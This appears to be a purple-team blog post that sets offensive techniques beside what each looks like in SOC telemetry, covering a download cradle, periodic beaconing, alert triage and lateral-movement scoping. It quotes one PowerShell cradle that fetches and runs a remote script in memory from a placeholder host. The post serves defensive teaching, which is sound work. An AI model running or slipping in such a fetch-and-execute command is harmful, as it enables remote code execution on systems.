The Other Side: What Our Attacks Look Like From the SOC

We ran an offensive-security exercise against a Linux VM, then turned around and sat in the security operations center to see the same class of activity from the defender's chair. The point wasn't to replay our own attacks — it was to learn what each technique looks like in the telemetry a SOC actually watches, so we can recognize it when it's aimed at us.

This is the purple-team through-line: every chain we built on the offensive side has a signature on the defensive side. Here's what we saw.

The download cradle (PowerShell, T1059.001)

Offensive side: We used a one-line PowerShell download cradle — IEX (New-Object Net.WebClient).DownloadString('http://host/script.ps1') — to pull a script from a remote host and run it in memory. No file touched disk; the payload lived only in the process.

Defensive side: In the SIEM, this is a story you read across three fields. The command line is base64-encoded, which is itself a tell — legitimate scripts rarely encode their arguments. The parent process is a document application (Word, Excel), which is the classic macro-delivery chain. And the outbound connection points at a domain that has nothing to do with the organization's legitimate infrastructure. Any one of those is suspicious; together they're a true positive.

The lesson: An alert is a story — what process, what parent, what command, what destination? The encoded command tells you the intent. The parent tells you the delivery. The destination tells you the operator. Join the pieces into a narrative instead of treating the alert as a single row to clear.

The beacon (periodic callout, T1071)

Offensive side: After we got a foothold, the implant called home on a fixed cadence — every minute, like clockwork. No single log named the culprit.

Defensive side: This is where cross-source correlation matters. The DNS query, the proxy connection, and the process execution each look innocuous on their own. But when you join them — a process that runs every minute, resolving the same domain, making the same outbound connection — the periodic callout becomes visible. A single-source analyst sees noise; the analyst who joins DNS to proxy to process-execution reconstructs the whole beacon.

The lesson: Modern intrusions rarely announce themselves in one log. The skill is joining sources to see the pattern that no single source reveals.

The false-positive queue (alert triage)

Offensive side: Our activity generated a wall of alerts — off-hours logons, odd processes, remote-administration services spawning, port scans. Almost all of it was noise.

Defensive side: In the SOC, nearly every alert in a real queue is benign-but-scary. The off-hours remote logon was a pre-approved change ticket. The remote-administration service came from the authorized jump host. The scanner touching memory was standard antivirus. The port scan was an authorized vulnerability window. The skill that matters is disproving alerts quickly — finding the one field that exonerates each false positive so you can spend your attention on the one host that actually matters.

The lesson: The analyst who treats every alert as a fire burns out on noise and misses the real intrusion. The analyst who can clear the noise fast finds the signal — the one host whose story never resolves to normal.

The IOC as a starting point (scoping, T1078)

Offensive side: Once we had a foothold, we moved laterally — a valid account, a remote service, a jump to a database server. The intrusion wasn't one host; it was a chain.

Defensive side: Threat intel hands you one confirmed-malicious domain. That's a starting point, not a conclusion. You scope outward from the indicator to the full blast radius — every host that touched it — then walk the timeline backward to patient zero, the first machine to touch the indicator. That's how incident responders bound an intrusion and find where it began.

The lesson: An IOC is a seed. The real work is scoping the blast radius and finding the origin.

The meta-lesson: defense is a discipline, not a tool

Running both sides of the same coin is the most instructive thing we've done. The same enumeration that finds a weakness is the enumeration that tells you where to look for the intrusion. The same correlation that chains an exploit is the correlation that reconstructs a beacon. The same discipline that finds the signal is the discipline that keeps the noise from hiding it.

The defensive process, like the offensive one, is repeatable:

• Orient first. Know where the data lives before you need to answer a hard question. The console is a map; learn to read it.
• Scope before you hunt. In a shared environment, the first move is always to filter to what you own.
• Read alerts as stories. Process, parent, command, destination — join them into a narrative.
• Disprove fast, then focus. Clear the noise quickly and spend your attention on the one thing that doesn't resolve to normal.

None of this is exotic. It's the boring, unglamorous discipline that keeps a system from being the one where a "few sessions" of testing turns into full compromise — and it's the same discipline, viewed from the other side of the console.